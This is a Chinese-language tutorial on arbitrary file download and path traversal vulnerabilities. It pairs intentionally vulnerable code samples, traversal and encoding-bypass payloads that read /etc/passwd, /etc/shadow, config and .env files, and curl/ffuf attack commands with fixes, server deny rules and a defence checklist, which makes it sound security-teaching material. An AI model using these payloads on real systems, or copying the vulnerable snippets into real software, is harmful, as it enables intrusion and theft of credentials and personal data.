乐于分享
好东西不私藏

DAY 05 - 任意文件下载:从路径遍历到敏感数据泄露

DAY 05 - 任意文件下载:从路径遍历到敏感数据泄露

开篇:为什么"下载个文件"会导致服务器被黑?

很多人第一次听说"任意文件下载漏洞"时,第一反应是:"不就是能下载个文件吗?能有多大危害?"

这种理解太外行了。真正做过渗透测试的人都知道,任意文件下载是Web应用中最容易被低估、但危害极大的漏洞之一。攻击者通过一个简单的../,可以:

  • 直接读取服务器密码文件,获得系统root权限
  • 读取数据库配置文件,拿下整个数据库
  • 读取源代码,分析出更多0day漏洞
  • 读取日志文件,获取其他用户的敏感信息
  • 读取SSH密钥,横向渗透到其他服务器

为什么这个漏洞如此普遍?原因很现实:

  1. 开发者习惯性地"相信用户输入"

   - 很多开发者认为"文件下载"是个安全的功能

   - 结果在实现时完全没做路径验证

  1. 框架默认行为不安全

   - 很多Web框架的send_filesend_from_directory默认不校验路径

   - 开发者以为"框架自带安全"其实是个误解

  1. 错误信息泄露太多

   - 服务器报错时直接暴露完整文件路径

   - 攻击者根据错误信息就能推断出服务器目录结构

说白了,任意文件下载漏洞的本质,是应用把"用户可控的路径"直接传给了文件系统操作API,完全没有做安全隔离

如果一个系统在用户输入进入文件系统之前,没有把"用户输入"和"真实路径"彻底隔开,那它早晚会出事。

一、先把问题说透:什么叫任意文件下载?

1.1 表面定义

任意文件下载漏洞(Arbitrary File Download)是指Web应用在处理文件下载请求时,未对用户输入的文件路径进行严格的验证和过滤,导致攻击者可以通过构造特殊的请求参数,下载服务器上任意位置的文件。

1.2 技术原理

@app.route('/download') def download():     filename = request.args.get('file')  # 用户直接控制filename     # 直接使用用户输入,没有验证     return send_from_directory('/var/www/uploads', filename)
// 不安全的PHP实现 <?php $file = $_GET[&#x27;file&#x27;]; // 直接使用用户输入 header(&#x27;Content-Disposition: attachment; filename=&#x27; . $file); readfile(&#x27;/var/www/html/uploads/&#x27; . $file); ?>
// 不安全的Java实现 @GetMapping("/download") public ResponseEntity<byte[]> download(@RequestParam String file) throws IOException {     // 用户直接控制file参数     Path path = Paths.get("/var/www/uploads", file);     return ResponseEntity.ok()         .header("Content-Disposition", "attachment; filename=" + file)         .body(Files.readAllBytes(path)); }

关键问题:用户输入的file参数没有被校验,直接拼接到文件路径中。

1.3 漏洞本质

任意文件下载的核心问题是路径穿越(Path Traversal)

  • 应用没有区分"用户应该访问的目录"和"用户实际能访问的目录"
  • 用户可以通过../跳转到任意目录
  • 文件系统API会忠实地执行这个"穿越"操作

二、攻击面分析:哪些功能点最容易中招?

2.1 常见触发点

功能点
参数名示例
风险等级
说明
文件预览
`file`, `filename`, `path`
最常见,直接传文件路径
资料下载
`download`, `doc`, `data`
附件、文档下载功能
图片查看
`img`, `image`, `photo`
图片预览,可能穿越到其他目录
附件下载
`attachment`, `attach`
邮件附件、文档附件
日志查看
`log`, `error`, `debug`
运维功能,容易泄露敏感信息
备份恢复
`backup`, `restore`, `dump`
数据库备份文件
报表导出
`report`, `export`, `output`
报表系统导出功能
模板下载
`template`, `theme`, `skin`
模板文件可能包含敏感配置

2.2 高危场景

场景一:文档管理系统

GET /api/document/download?file=2024年度报告.pdf GET /api/document/download?file=../../../../etc/passwd

场景二:图片服务器

GET /images/avatar?img=user123.jpg GET /images/avatar?img=../../etc/passwd

场景三:备份系统

GET /backup/download?file=daily_backup.zip GET /backup/download?file=../../../../var/www/html/config.php

场景四:日志系统

GET /logs/view?file=access.log GET /logs/view?file=../../../../../../../../etc/shadow

三、攻击技术:路径遍历的N种姿势

3.1 基本路径穿越

原理:使用../符号向上跳转目录

正常请求: /download?file=report.pdf 攻击请求: /download?file=../../etc/passwd  解析过程: /var/www/html/uploads/ + ../../etc/passwd = /var/www/html/uploads/../../etc/passwd = /etc/passwd

经典Payload

../../etc/passwd ../../../etc/passwd ../../../../etc/passwd ../../../../../etc/passwd ../../../../../../etc/passwd  ..\..\Windows\System32\config\SAM ..\..\..\Windows\win.ini ..\..\..\..\boot.ini

3.2 URL编码绕过

单层URL编码

GET /download?file=..%2f..%2f..%2fetc%2fpasswd GET /download?file=..%252f..%252f..%252fetc%252fpasswd 

双层URL编码

GET /download?file=..%252f..%252f..%252fetc%252fpasswd

Unicode编码

GET /download?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd

3.3 多种绕过姿势

双写绕过

GET /download?file=....//....//....//etc/passwd

空字符绕过

GET /download?file=../../etc/passwd%00.jpg

路径混淆

GET /download?file=/etc/passwd GET /download?file=/etc/./passwd GET /download?file=/etc/passwd/.

Windows路径绕过

GET /download?file=..\..\..\..\Windows\System32\config\SAM GET /download?file=..\..\..\..\..\..\Windows\win.ini GET /download?file=\\..\\..\\..\\Windows\\win.ini

利用协议包装器(PHP):

// PHP伪协议 php: //filter/convert.base64-encode/resource=config.php phar: //./uploads/malicious.zip/shell.txt zip: //./uploads/malicious.zip#shell.txt

3.4 自动化工具

使用ffuf模糊测试

ffuf -u "http://target.com/download?file=FUZZ" \      -w /usr/share/wordlists/seclists/Fuzzing/fuzz-Bo0oM.txt \      -mc 200  ffuf -u "http://target.com/download?file=FUZZ" \      -w /usr/share/wordlists/seclists/Discovery/Filenames/fuzz filenames.txt

使用Burp Suite Intruder

  1. 拦截下载请求
  2. 发送到Intruder
  3. 导入SecLists的路径遍历payload
  4. 标记响应中的敏感内容

使用dirb

dirb http://target.com/ /usr/share/wordlists/dirb/common.txt

四、真实案例分析

案例一:某电商平台任意文件下载 → 获得数据库root权限

漏洞发现

  1. 发现商品图片查看功能:/product/image?img=product_001.jpg
  2. 测试:/product/image?img=../../etc/passwd
  3. 返回:root:x:0:0:root:/root:/bin/bash...

利用过程

curl "http://shop.example.com/product/image?img=../../etc/passwd"  curl "http://shop.example.com/product/image?img=../../var/www/html/config.php"  mysql -h localhost -u root -p MySecretP@ssw0rd  mysqldump -u root -p MySecretP@ssw0dd users > users.sql

漏洞影响

  • 泄露数据库root密码
  • 获取所有用户数据(姓名、电话、地址、订单)
  • 获得Webshell(通过数据库写入)
  • 整个服务器被控制

修复方案

@app.route(&#x27;/download&#x27;) def download():     filename = request.args.get(&#x27;file&#x27;)      # 1. 检查是否包含路径穿越字符     if &#x27;..&#x27; in filename or filename.startswith(&#x27;/&#x27;):         abort(400)      # 2. 白名单验证     allowed_extensions = [&#x27;pdf&#x27;, &#x27;jpg&#x27;, &#x27;png&#x27;, &#x27;docx&#x27;]     ext = filename.rsplit(&#x27;.&#x27;, 1)[-1].lower() if &#x27;.&#x27; in filename else &#x27;&#x27;     if ext not in allowed_extensions:         abort(403)      # 3. 使用安全路径     safe_path = os.path.join(&#x27;/var/www/uploads&#x27;, filename)     real_path = os.path.realpath(safe_path)      # 4. 验证路径在允许目录内     if not real_path.startswith(&#x27;/var/www/uploads&#x27;):         abort(403)      return send_file(real_path)

案例二:某企业OA系统任意文件下载 → 渗透整个内网

漏洞发现

  1. 发现公告附件下载功能
  2. 参数:/attachment/download?file=20240101_announcement.pdf
  3. 测试路径遍历

利用过程

curl "http://oa.example.com/attachment/download?file=../../../../var/log/nginx/error.log"   curl "http://oa.example.com/attachment/download?file=../../../../opt/tomcat/conf/server.xml"  curl "http://oa.example.com/attachment/download?file=../../../../opt/app/WEB-INF/classes/db.properties"  mysql -h 192.168.1.100 -u oa_admin -p oa_admin_2024 

漏洞影响

  • 获得OA系统数据库权限
  • 获得应用服务器权限
  • 整个内网被渗透
  • 大量机密文档泄露

案例三:某医院HIS系统任意文件下载 → 泄露患者隐私

漏洞发现

  1. 检查检查报告下载功能
  2. 参数:/report/download?filename=检查报告.pdf
  3. 测试:/report/download?filename=../../../../Windows/win.ini

利用过程

curl "http://his.example.com/report/download?filename=../../../../Windows/win.ini"  curl "http://his.example.com/report/download?filename=../../../../inetpub/wwwroot/web.config"   curl "http://his.example.com/report/download?filename=../../../../Program%20Files/Apache/conf/httpd.conf" curl "http://his.example.com/report/download?filename=../../../../Users/Administrator/Documents/密码本.txt"

漏洞影响

  • 大量患者隐私数据泄露(违反《个人信息保护法》)
  • 医院系统被攻击
  • 可能导致医疗数据被篡改或勒索

五、深度利用:从文件下载到RCE

5.1 利用链分析

任意文件下载通常不是终点,而是攻击的起点。典型的利用链如下:

1. 文件下载漏洞    ↓  2. 获取配置文件(数据库密码、API密钥)    ↓  3. 登录后台或数据库    ↓  4. 找到上传功能    ↓  5. 上传Webshell    ↓  6. 获取服务器权限    ↓  7. 横向渗透

5.2 信息收集阶段

获取Web根目录

?file=phpinfo.php  ?file=../../../nonexistent/file  ?file=../../var/www/html/index.php

常见Web根目录

Linux: /var/www/html /usr/share/nginx/html /opt/www /home/username/public_html  Windows: C: \inetpub\wwwroot C: \xampp\htdocs D: \WebSite\wwwroot

常见配置文件位置

/var/www/html/config.php /var/www/html/application/config/database.php /etc/apache2/httpd.conf /etc/nginx/nginx.conf /var/www/html/.env  C: \inetpub\wwwroot\web.config C: \xampp\htdocs\config.php C: \Users\Administrator\Documents\IISExpress\config\applicationhost.config

5.3 配置文件利用

数据库配置文件

// config.php <?php define(&#x27;DB_HOST&#x27;, &#x27;localhost&#x27;); define(&#x27;DB_USER&#x27;, &#x27;root&#x27;); define(&#x27;DB_PASS&#x27;, &#x27;MySecretP@ssw0rd&#x27;); define(&#x27;DB_NAME&#x27;, &#x27;webapp&#x27;); ?>

环境变量文件

DB_PASSWORD=secret123 AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY JWT_SECRET=your-jwt-secret-key

API配置文件

// config.json {   "api_key": "sk_live_1234567890abcdef",   "secret_key": "sk_test_abcdef123456",   "payment_gateway": {     "merchant_id": "1234567890",     "api_key": "merchant_secret_key"   } }

5.4 获取Shell

一旦获得数据库或后台权限,可以通过以下方式获取shell:

  1. 后台文件上传
    :找到上传点,上传Webshell
  2. 模板写入
    :修改网站模板,插入恶意代码
  3. 数据库写入
    :写入恶意代码到可执行文件
  4. 计划任务
    :写入反弹shell脚本

六、防御策略:如何彻底堵住这个漏洞?

6.1 输入验证

@app.route(&#x27;/download&#x27;) def download():     filename = request.args.get(&#x27;file&#x27;)      # 1. 禁止路径穿越字符     forbidden_chars = [&#x27;..&#x27;, &#x27;/&#x27;, &#x27;\\&#x27;, &#x27;%00&#x27;]     for char in forbidden_chars:         if char in filename:             abort(400)      # 2. 白名单验证     allowed_files = [&#x27;report.pdf&#x27;, &#x27;manual.pdf&#x27;, &#x27;guide.pdf&#x27;, &#x27;template.docx&#x27;]     if filename not in allowed_files:         abort(403)      return send_file(f&#x27;/var/www/uploads/{filename}&#x27;)

6.2 路径规范化

import os  def is_safe_path(base_path, user_path):     # 规范化用户输入的路径     user_path = os.path.normpath(user_path)      # 规范化基础路径     base_path = os.path.abspath(base_path)      # 拼接并规范化完整路径     full_path = os.path.abspath(os.path.join(base_path, user_path))      # 检查是否在基础目录内     return full_path.startswith(base_path)  @app.route(&#x27;/download&#x27;) def download():     filename = request.args.get(&#x27;file&#x27;)      base_dir = &#x27;/var/www/uploads&#x27;     if not is_safe_path(base_dir, filename):         abort(403)      return send_file(os.path.join(base_dir, filename))

6.3 最小权限原则

chown -R www-data:www-data /var/www/html chmod -R 755 /var/www/html chmod 640 /var/www/html/config.php  # 禁止Web访问  location ~* /(config\.php|db\.properties|\.env|\.git) {     deny all;     return 403; }  location /uploads {     internal;  # 只能内部访问,不能直接请求 }

6.4 安全配置检查清单

  • [ ] 严格验证用户输入的文件名
  • [ ] 使用白名单机制,禁止../等穿越字符
  • [ ] 使用realpath()normpath()规范化路径
  • [ ] 验证路径是否在允许的目录内
  • [ ] 限制文件下载目录
  • [ ] 禁用敏感文件访问(配置文件、日志文件)
  • [ ] 记录下载日志,监控异常行为
  • [ ] 定期进行安全审计和渗透测试

6.5 Web服务器配置

Nginx配置

location ~ /\.(htaccess|git|env) {     deny all; }  location ~* \.(log|conf|config|ini)$ {     deny all; }  location /download {     internal;  # 只能通过内部重定向访问 }

Apache配置

<Directory />     AllowOverride None     Options -Indexes </Directory>  <FilesMatch "^\.">     Order allow,deny     Deny from all </FilesMatch>

七、检测与测试

7.1 手动测试

?file=../../etc/passwd ?file=..\..\Windows\win.ini  ?file=..%2f..%2f..%2fetc%2fpasswd ?file=..%252f..%252f..%252fetc%252fpasswd ?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd  ?file=....//....//....//etc/passwd ?file=..%252f..%255c..%252fetc%252fpasswd ?file=/etc/passwd

7.2 自动化扫描

使用Nikto

nikto -h http://target.com

使用Nmap NSE

nmap -p80 --script http-filepath-exposure.nse target.com

使用Burp Suite

  1. 导入SecLists的路径遍历payload
  2. 使用Intruder进行批量测试
  3. 标记响应中的敏感内容

7.3 代码审计检查点

send_from_directory(directory, filename)  # 未验证filename file_get_contents($_GET[&#x27;file&#x27;])           # 用户直接控制路径 open($_GET[&#x27;file&#x27;])                        # 任意文件读取  basename($filename)                        # 去除路径 realpath($filename)                        # 规范化路径 is_safe_path($base, $filename)             # 验证路径

八、总结

任意文件下载漏洞虽然原理简单,但危害极大。攻击者可以:

  1. 获取敏感信息
     - 配置文件、密码、日志、源代码
  2. 进一步渗透
     - 利用获取的凭据扩大攻击面
  3. 完全控制系统
     - 最终获得服务器权限,甚至整个内网

防御关键在于:

  1. 严格输入验证
     - 不信任任何用户输入
  2. 路径规范化
     - 使用realpath()验证
  3. 最小权限
     - 限制文件访问范围
  4. 日志监控
     - 及时发现异常下载行为

记住:用户输入永远是不可信的。

参考资料

  • [OWASP Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)
  • [CWE-22: Improper Limitation of a Pathname](https://cwe.mitre.org/data/definitions/22.html)
  • [PayloadsAllTheThings - Directory Traversal](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal)
  • [PortSwigger - Path Traversal](https://portswigger.net/web-security/file-path-traversal)

*本文是"一天一个漏洞"系列第5篇,聚焦Web应用安全中的任意文件下载漏洞。*